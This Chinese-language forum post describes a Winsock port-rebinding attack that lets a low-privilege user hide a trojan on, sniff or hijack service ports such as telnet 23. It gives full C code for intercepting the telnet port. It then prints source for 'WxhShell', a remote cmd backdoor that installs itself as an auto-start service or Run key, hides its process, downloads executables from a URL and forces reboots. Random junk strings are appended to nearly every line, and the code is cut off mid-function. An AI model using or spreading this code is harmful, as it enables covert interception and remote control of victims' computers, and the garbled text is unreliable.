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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TFbF^Kd#:d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7|J&fc5BP  
7 oYD;li$k  
  saddr.sin_family = AF_INET; kd p*6ynD  
9)b{U2&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,pZz`B#  
^^xzaF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oe9S$C;$'  
=AHV{V~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E}36  
|~Awm"  
  这意味着什么?意味着可以进行如下的攻击: u91  
Jx&+e,OST  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x41t=E](  
"1P2`Ep;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _ -ec(w~/  
`Sj8IxO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 da8 R.1o  
bx".<q(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4g.S!-H@R  
S[rfcL"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A}"uEk(R  
oY@]&A^ah  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m1p% ,  
hB:+_[=Kj.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K^I$05idi  
)gR3S%Ju  
  #include dt>!=<|k  
  #include Z%-uyT@a  
  #include 6|Rj YX  
  #include    w' 5W L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?GZ?HK|  
  int main() b DF_  
  { R,zp&L  
  WORD wVersionRequested; 4 >D5t)254  
  DWORD ret; fG7-0 7  
  WSADATA wsaData; q 7+|U%!9  
  BOOL val; yg4ILL  
  SOCKADDR_IN saddr; G_5NS<JE"S  
  SOCKADDR_IN scaddr; +A_jm!tJS(  
  int err; 1@<>GDB9  
  SOCKET s; B7'2@+(  
  SOCKET sc; /hyCR___  
  int caddsize; Ga *  
  HANDLE mt; URTJA<r8D  
  DWORD tid;   61TL]S8  
  wVersionRequested = MAKEWORD( 2, 2 ); S7hfwu&7F  
  err = WSAStartup( wVersionRequested, &wsaData ); ! }awlv;  
  if ( err != 0 ) { h/l?,7KHI  
  printf("error!WSAStartup failed!\n"); N4 _V  
  return -1; @qsOWx`l$  
  } #|e5i9l*B  
  saddr.sin_family = AF_INET; A<g5:\3  
   rHtX4;f+><  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +d6Jrd*  
sy9YdPPE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Au?(_*/0  
  saddr.sin_port = htons(23); Yr:$)ap  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *-_joAWTG  
  { _lk5\bu  
  printf("error!socket failed!\n"); |VoYFoiQ  
  return -1; =u&NdMy  
  } a@gm r%C  
  val = TRUE; 7.v{=UP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~HgN'#Y?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `VOLw*Ci  
  { ]JHY(H2|  
  printf("error!setsockopt failed!\n"); VzFzVeJ  
  return -1; dU"C=c(w\  
  } _k W:FB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z;i4F.p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x\(yjNZH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TGPHjSZ1  
7o M]qLF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q/YO5>s15  
  { =0mGfT c  
  ret=GetLastError(); o Bp.|8-  
  printf("error!bind failed!\n"); hB*3Py27L  
  return -1; e-o$bf%  
  } wsCT9&p  
  listen(s,2); d e~3:  
  while(1) :20k6)  
  { v{>9&o.J  
  caddsize = sizeof(scaddr); v]KI=!Gs  
  //接受连接请求 y/A<eHLy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @Cd}1OT)  
  if(sc!=INVALID_SOCKET) kC6s_k  
  { ~f%AbDye  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cE]#23  
  if(mt==NULL) E;x~[MA  
  { 8"S? Toqq  
  printf("Thread Creat Failed!\n"); evGUSol?:n  
  break; 5'O.l$)y  
  } 7llEB*dSA  
  } iJK rNRj  
  CloseHandle(mt); 4K*DEVS  
  } ]z/  
  closesocket(s); s((_^yf  
  WSACleanup(); ?GGh )";y  
  return 0; nnO@$T  
  }   ()i!Uo  
  DWORD WINAPI ClientThread(LPVOID lpParam) QJ-?6 7_i  
  { ! J@pox-t  
  SOCKET ss = (SOCKET)lpParam; Z})n%l8J]p  
  SOCKET sc; \\~4$Ai[  
  unsigned char buf[4096]; t]%! vXo  
  SOCKADDR_IN saddr; 6PI-"He  
  long num; GB_ m&t  
  DWORD val; |k9A*7I  
  DWORD ret; s97L/iH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _`Sz}Yk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ed)!Snz   
  saddr.sin_family = AF_INET; N[,/VCW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pV))g e\  
  saddr.sin_port = htons(23); ) N"gW*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MtO p][i  
  { 0H{0aQQ  
  printf("error!socket failed!\n"); x5Ee'G(  
  return -1; 0#KB.2AP  
  } *`V-zD  
  val = 100; pBu~($%d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~d?\rj3=  
  { 4==Lt Ep  
  ret = GetLastError(); xR;-qSl7Ms  
  return -1; Swz1RT  
  } 9wFQ<r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KGX?\#-  
  { U!x\oLP  
  ret = GetLastError(); =<[ZFO~v  
  return -1; &^YY>]1Py  
  } ,/>~J]:\;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i(c'94M  
  { DP_ bB(  
  printf("error!socket connect failed!\n"); \ o&i63u  
  closesocket(sc); rzqUI*4%  
  closesocket(ss); Z;mDMvIu (  
  return -1; ZvO:!u0+"  
  } uQ.VW/>  
  while(1) BPd]L=,/  
  { @]h#T4z'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #B)`dA0a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tgYIM`f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :PaFC{O)*  
  num = recv(ss,buf,4096,0); O_PC/=m1@  
  if(num>0) $mOK|=tI_  
  send(sc,buf,num,0); g%<7Px[W  
  else if(num==0) {:enoV"  
  break; 6A/|XwfE/v  
  num = recv(sc,buf,4096,0); K~WwV8c9;  
  if(num>0) Ja#idF[V  
  send(ss,buf,num,0); /qL&)24  
  else if(num==0) qQ6NxhQo  
  break; 9aC>gye!  
  } HF\L`dJX?  
  closesocket(ss); tIC_/ 6  
  closesocket(sc); E%-&!%_>D@  
  return 0 ; BWX&5""  
  } 3r{'@Y =)Y  
es(vWf'  
W:>RstbnMG  
========================================================== VuZmX1x)N  
lv ^=g  
下边附上一个代码,,WXhSHELL }%R6Su]y  
TCF[i E{  
========================================================== m x,X!}  
knBT(x'+  
#include "stdafx.h" n5]<|>U vx  
6v1#i  
#include <stdio.h> 3G8uXB_`}  
#include <string.h> vFCp= 8h  
#include <windows.h> M3F8@|2  
#include <winsock2.h> -RH ?FJ  
#include <winsvc.h> @3S2Xb{ra1  
#include <urlmon.h> p-; ]O~^  
  6^: l  
#pragma comment (lib, "Ws2_32.lib") [bT@Y:X@`  
#pragma comment (lib, "urlmon.lib") t8)Fkx#8}  
I@L-%#@R1  
#define MAX_USER   100 // 最大客户端连接数 iZyk2kc  
#define BUF_SOCK   200 // sock buffer ,.}PZL  
#define KEY_BUFF   255 // 输入 buffer esu6iU@  
E>6zwp  
#define REBOOT     0   // 重启 Mc6Cte]3|  
#define SHUTDOWN   1   // 关机 *j*jA/  
{G{@bUG]p  
#define DEF_PORT   5000 // 监听端口 G+g`=7  
Ixec]UOS  
#define REG_LEN     16   // 注册表键长度 }5]s+m  
#define SVC_LEN     80   // NT服务名长度 .D>lv_kp  
'FUPv61()  
// 从dll定义API =k/n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M K[spV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =0]Mc$Ih  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ $"iO#oO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /w!' [  
O@=mN*<gg0  
// wxhshell配置信息 R\Q%_~1  
struct WSCFG { <zDe;&  
  int ws_port;         // 监听端口 Z?Q2ed*j  
  char ws_passstr[REG_LEN]; // 口令 Ph%s.YAZ~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dps{[3Y+  
  char ws_regname[REG_LEN]; // 注册表键名 `Ys })Pl  
  char ws_svcname[REG_LEN]; // 服务名 ~fUSmc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R$3JbR.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p.}[!!m P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p4AXQuOP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e-K8K+7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q-3KF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <|`@K| N  
RYhdf  
}; Em]T.'y  
CM#EA"9  
// default Wxhshell configuration `k\1vum  
struct WSCFG wscfg={DEF_PORT, mcXakWmi  
    "xuhuanlingzhe", 'OihA^e  
    1, V_1#7  
    "Wxhshell", RtW5U8  
    "Wxhshell", .>nd@oU  
            "WxhShell Service", $tKATL*  
    "Wrsky Windows CmdShell Service", :cEe4a  
    "Please Input Your Password: ", S BoF (0<  
  1, }n 7e_qy4  
  "http://www.wrsky.com/wxhshell.exe", J-f0  
  "Wxhshell.exe" #&:nkzd  
    }; 7w$R-Y/E  
lKD@2  
// 消息定义模块 Uy1xNb/d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ O)Zof  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;VH]TKkk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <EUSl|6  
char *msg_ws_ext="\n\rExit."; "PHv~_:^R  
char *msg_ws_end="\n\rQuit."; g|HrhUT;  
char *msg_ws_boot="\n\rReboot..."; Zll^tF#  
char *msg_ws_poff="\n\rShutdown..."; zn x_p /V  
char *msg_ws_down="\n\rSave to "; 0X-2).n u  
\O?B9_  
char *msg_ws_err="\n\rErr!"; stG&(M  
char *msg_ws_ok="\n\rOK!"; &sgwY  
*u>\&`h=  
char ExeFile[MAX_PATH]; 3.H-G~  
int nUser = 0; ;E"mB4/)  
HANDLE handles[MAX_USER]; M0e|G.S&_  
int OsIsNt; :Ir:OD# o  
.:raeDrd  
SERVICE_STATUS       serviceStatus; T ?? aVe]c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *;d)'7<  
<`*P/V  
// 函数声明 #]N9/Hij#g  
int Install(void); ^k(eRs;K  
int Uninstall(void); . R}y"O\  
int DownloadFile(char *sURL, SOCKET wsh); bLzuaNa'  
int Boot(int flag); |K-lg rA  
void HideProc(void); y m{/0&7  
int GetOsVer(void); ~b[4'm@  
int Wxhshell(SOCKET wsl); O*v+<|0!l  
void TalkWithClient(void *cs); T6r~OV5  
int CmdShell(SOCKET sock); ]e`_.>U  
int StartFromService(void); 8} k,!R[J  
int StartWxhshell(LPSTR lpCmdLine); Kzu9Qm-+z^  
pi}H.iF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5mNXWg7#]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sZB6zTX J  
HXHPz 4  
// 数据结构和表定义 =eoxT  
SERVICE_TABLE_ENTRY DispatchTable[] = N6[^62  
{ .rm7Sd4K  
{wscfg.ws_svcname, NTServiceMain}, Umt ia~x=&  
{NULL, NULL} kAliCD)  
}; ')-(N um  
EM/+1 _u  
// 自我安装 ]+dl=SmF  
int Install(void) t g*[%Jf^  
{ \>`$x:  
  char svExeFile[MAX_PATH]; Av>j+O ;  
  HKEY key; (NC>[  
  strcpy(svExeFile,ExeFile); e:D"_B  
9y*! W  
// 如果是win9x系统,修改注册表设为自启动 2vN(z %p  
if(!OsIsNt) { I{I [N &N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RbM~E~$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $)]FCuv  
  RegCloseKey(key); kw:D~E (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j/pQSlV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Le JlTWotC  
  RegCloseKey(key); f{c[_OR  
  return 0; kte.E%.PE  
    } C+?s~JL  
  } 7 aD&\?  
} \X.=3lc&  
else { )o</gt)  
z 2VCK@0  
// 如果是NT以上系统,安装为系统服务 32LB*zc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <&%1pZ/6.  
if (schSCManager!=0) C(HmLEB^  
{ 5a!e%jj  
  SC_HANDLE schService = CreateService PB67 ?d~  
  ( pNQkKDbL+  
  schSCManager, pQ:PwyU  
  wscfg.ws_svcname, }a1Sfl@`3  
  wscfg.ws_svcdisp, ASa!yV=g  
  SERVICE_ALL_ACCESS, aZ>\*1   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %*q0+_  
  SERVICE_AUTO_START, qg{<&V7fE  
  SERVICE_ERROR_NORMAL, u=}bq{  
  svExeFile, o[[r_v_d  
  NULL, r{R7"  
  NULL, `$SEkYdt  
  NULL, nSQ}yqM)  
  NULL, $,,>R[;w  
  NULL 7QiCZcb\  
  ); Cj 2 Xl  
  if (schService!=0) NVqC|uEAF  
  { 17}$=#SX  
  CloseServiceHandle(schService); GnFs63  
  CloseServiceHandle(schSCManager); !@G)$g=<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cq>6rn  
  strcat(svExeFile,wscfg.ws_svcname); 0DNU,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d?wc*N3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [NMVoBvG  
  RegCloseKey(key); 1u3, '8F  
  return 0; ^9Qy/Er'  
    } 6AG`&'"  
  } #7ohQrP  
  CloseServiceHandle(schSCManager); 3?2 FP|G8  
} |L2SFB?d=  
} ,XDRO./+T  
*g?Po+ef%  
return 1; }>)[<;M>%  
} "&/-N[is  
IxLhU45  
// 自我卸载 OC-gA}FZ-}  
int Uninstall(void) kuyjnSo9i  
{ hGpv2>M  
  HKEY key; %_!bRo  
k0Ol*L!p  
if(!OsIsNt) { zR2B- &]H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }gJ(DbnV  
  RegDeleteValue(key,wscfg.ws_regname); ;>n,:355L  
  RegCloseKey(key); EoK~S\dS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I f\fLhM  
  RegDeleteValue(key,wscfg.ws_regname); 89r DyRJ;  
  RegCloseKey(key); ^R:cd8+?%  
  return 0; nBk)WX&[K  
  } 5[c^TJ3  
} ~\J}Kqg  
} H$y-8-&)  
else { Djg,Lvhm  
IiG6<|d8H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )wT-8o  
if (schSCManager!=0) C=eF.FB;'  
{ V4_=<W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  4^M  
  if (schService!=0) euC&0Ee2  
  { 4O35 "1  
  if(DeleteService(schService)!=0) { rk #sy$  
  CloseServiceHandle(schService); gHo?[pS%y  
  CloseServiceHandle(schSCManager); HSc~*Q  
  return 0;  5~>z h  
  } DQ r Y*nH  
  CloseServiceHandle(schService); [PDNwh0g5  
  } <ZNzVnVA  
  CloseServiceHandle(schSCManager); ; #&yn=^  
} b45-:mi!&#  
} x^y'P<ypw  
Dy:|g1>  
return 1; S[J}UpV  
} <$IM8Y5p+w  
*-8&[D0  
// 从指定url下载文件 xCc[#0R{  
int DownloadFile(char *sURL, SOCKET wsh) -w"VK|SGm  
{ f=WDR m]  
  HRESULT hr; bcE._9@@  
char seps[]= "/"; tM'P m   
char *token; w|K'M?N14  
char *file; (2$p{Uf  
char myURL[MAX_PATH]; 5Ou`z5S\k  
char myFILE[MAX_PATH]; @U& QI*  
pSdI/Vj'=  
strcpy(myURL,sURL); <h:x=  
  token=strtok(myURL,seps); a6)BqlJ  
  while(token!=NULL) ;'#8tGv=  
  { n<z [J=I  
    file=token; CDK 5  
  token=strtok(NULL,seps); ',JinE95  
  } $Avjnm  
"hH.#5j  
GetCurrentDirectory(MAX_PATH,myFILE); >I-RGW'A  
strcat(myFILE, "\\"); Lh!J >  
strcat(myFILE, file); 8c9*\S  
  send(wsh,myFILE,strlen(myFILE),0); 3u*4o=4e  
send(wsh,"...",3,0); L.*M&Ry  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3z{?_;bR  
  if(hr==S_OK) Whm,F^  
return 0; <7/R,\Wg~  
else EyJJ0  
return 1; 4.[^\N  
d928~y W  
} 7q?, ?  
Vc\MV0lr  
// 系统电源模块 cPyE 6\lN  
int Boot(int flag) {?}E^5Z*g  
{ 1 ySk;;3  
  HANDLE hToken; )r xX+k+b/  
  TOKEN_PRIVILEGES tkp; x[ ~b2o  
S9]'?|  
  if(OsIsNt) { {Aw#?#GPW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fg_4zUGM+g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B~MU^ |v  
    tkp.PrivilegeCount = 1; n' n/Tu   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @\0ez<.p}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #rMlI3;  
if(flag==REBOOT) { gc_:%ki  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 89pEfl j2  
  return 0; yVU^M?`#  
} } gyj0  
else { p& y<I6a,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j4gF;-m<  
  return 0; {f3YsM;]C  
} P+@/O  
  } x nsLf?>]  
  else { x9UX!Z5*>  
if(flag==REBOOT) { 8]M;T>n[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oK6tTK  
  return 0; ~7*.6YnI  
} ,1~"eGl!  
else { 44ek IV+?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !![DJ  
  return 0; kJ'!r  
} !"?#6-,Xn  
} ugdQAg  
@Q)OGjaq  
return 1; ` 06;   
} g0xuxK;9c  
@>r._ ~  
// win9x进程隐藏模块 (5$!MUS~9  
void HideProc(void) %". HaI]  
{ !,wIQy_e4  
>N^Jj:~l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sq>dt[7  
  if ( hKernel != NULL ) 1-8mFIK  
  { ]R+mKUZ9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }MJy +Z8&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jD$,.AVvz  
    FreeLibrary(hKernel);  U f:`  
  } <T` 7%$/E  
j+i\bks  
return; >!eAM )  
} |kyX3~  
wcrCEX=I>{  
// 获取操作系统版本 *RI]?j%B  
int GetOsVer(void) m~iXl,r  
{ pj\u9 L_  
  OSVERSIONINFO winfo; #{\J Nb+w%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rN<0 R`4sE  
  GetVersionEx(&winfo); Mo|;'+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m( r,Acy6  
  return 1; g#"zQvON  
  else ;,hwZZA  
  return 0; td(li.,  
} zIqU,n|]s  
A=$04<nP8!  
// 客户端句柄模块 JA %J$d  
int Wxhshell(SOCKET wsl) 5dx$HE&b)  
{ AFq~QXmr)  
  SOCKET wsh; D#_3^Kiawj  
  struct sockaddr_in client; n<Z({\9&H  
  DWORD myID; $.Qkb@}  
()Y~Q(5ji  
  while(nUser<MAX_USER) 2i)^ !c  
{ 2":pE U{E  
  int nSize=sizeof(client); _zR+i]9   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LD+{o4i  
  if(wsh==INVALID_SOCKET) return 1; Yk'XGr)  
P@,XEQRd`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S 8kCp;  
if(handles[nUser]==0) AuvkecuIh  
  closesocket(wsh); G4Q[Th  
else Sgeh %f  
  nUser++; zykT*V  
  } V><,UI=,n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3(="YbZ  
Jf{*PgP  
  return 0; 0.\/\V:H6  
} e2AX0(  
S-a]j;U  
// 关闭 socket YDIG,%uv  
void CloseIt(SOCKET wsh) > $O]Eu!  
{ f&=AA@jLv  
closesocket(wsh); 9>= ;FY  
nUser--; .8 2P(}h  
ExitThread(0); |hKDvH  
} `}D,5^9]  
dph{74Dc  
// 客户端请求句柄 5-FQMXgThc  
void TalkWithClient(void *cs) rF3wx.  
{ IY_iB*T3jt  
?so=;gh  
  SOCKET wsh=(SOCKET)cs; IDad9 Bx  
  char pwd[SVC_LEN]; /Y/UM3/  
  char cmd[KEY_BUFF]; C>ICu*PW  
char chr[1]; ,L|%"K]yM  
int i,j; eln)BW#  
\Q {m9fE  
  while (nUser < MAX_USER) { 9)D6Nm  
l z/8  
if(wscfg.ws_passstr) { 3#W T.4k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UBv,=v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yc`o5Q\>  
  //ZeroMemory(pwd,KEY_BUFF); GiJ *Wp  
      i=0; C0sX gM  
  while(i<SVC_LEN) { eJrQ\>z]V&  
S%$ }(  
  // 设置超时 :W"~ {~#?  
  fd_set FdRead; ]N/=Dd+|  
  struct timeval TimeOut; t DO=P c  
  FD_ZERO(&FdRead); !-g{[19\  
  FD_SET(wsh,&FdRead); g6y B6vk  
  TimeOut.tv_sec=8; 3Lfqdqj  
  TimeOut.tv_usec=0; R1s`z|?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2\R'@L*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;RH;OE,A  
`b?R#:G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )n1_(;  
  pwd=chr[0]; 2kqup)82e  
  if(chr[0]==0xd || chr[0]==0xa) { {k(g]#pP  
  pwd=0; hl;u'_AB  
  break; -Sq z5lo  
  } dSLU>E3g  
  i++; %3s1z<;R[S  
    } .7O*pJ2(H  
Y`KqEjsC*  
  // 如果是非法用户,关闭 socket s'3 s^Dd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uY0lR:|  
} Ih@61>X.o*  
.4S.>~^7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *$#W]bO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u]:oZMnj  
9U7nKJ+iby  
while(1) { %J#YM'g  
;$HftG>B  
  ZeroMemory(cmd,KEY_BUFF); b}\N;D.{  
8bxfj<O,  
      // 自动支持客户端 telnet标准   ~cWAl,(B<F  
  j=0; S2E8G q9  
  while(j<KEY_BUFF) { o5d%w-'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?}qttj  
  cmd[j]=chr[0]; X3(tuqmi  
  if(chr[0]==0xa || chr[0]==0xd) { uMUBh 80,L  
  cmd[j]=0; u^&A W$  
  break; 57aXQ8u{  
  } (XVw"m/ye  
  j++; 8<5]\X  
    } AW%50V  
Gw=B:kGk  
  // 下载文件 4Xgg%@C  
  if(strstr(cmd,"http://")) { ycc4W*]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #:jHp44J  
  if(DownloadFile(cmd,wsh)) A_V]yP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_1:tW &  
  else YD <:,|H   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ha(c'\T (\  
  } S O4u9V  
  else { @#<D ^"  
B#exHf8  
    switch(cmd[0]) { tI]Q%S,  
  0\H\lKcK  
  // 帮助 H  >j  
  case '?': { ng[Ar`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }bs+-K  
    break; w+C7BPV&  
  } ?e` ^P   
  // 安装 VQ"hUX8  
  case 'i': { 4Fa~Aog  
    if(Install()) `V=N*hv`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t=rEt>n~L  
    else @u.58H& }R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <W|3\p6  
    break; {^ qcx8  
    } YO#M/%^j  
  // 卸载 WgR).Yx  
  case 'r': { wZG\>9~  
    if(Uninstall()) X]'{(?Ch  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRJ\E }/7  
    else 7OC#8,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pN!}UqfI-  
    break; u0 P|0\  
    } Diy8gt  
  // 显示 wxhshell 所在路径 s&A} h  
  case 'p': { }]e-{C}  
    char svExeFile[MAX_PATH]; <_h~w}  
    strcpy(svExeFile,"\n\r"); .GV;+8HzS  
      strcat(svExeFile,ExeFile); N|1M1EBOu>  
        send(wsh,svExeFile,strlen(svExeFile),0); YbR!+ 0\g  
    break; {`J)j6;  
    } ZNJ@F<  
  // 重启 OJ,`  
  case 'b': { i;]"n;>+/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S\4tzz @  
    if(Boot(REBOOT)) t|a2;aq_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cf TfL3(J  
    else { j\,EO+ZQCv  
    closesocket(wsh); Qi^Z11  
    ExitThread(0); %Qc La//  
    } BZ:H`M`n  
    break; E7NV ^4h  
    } p rYs $j  
  // 关机 3wOZ4<B  
  case 'd': { ?$vCW|f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qo p^;~  
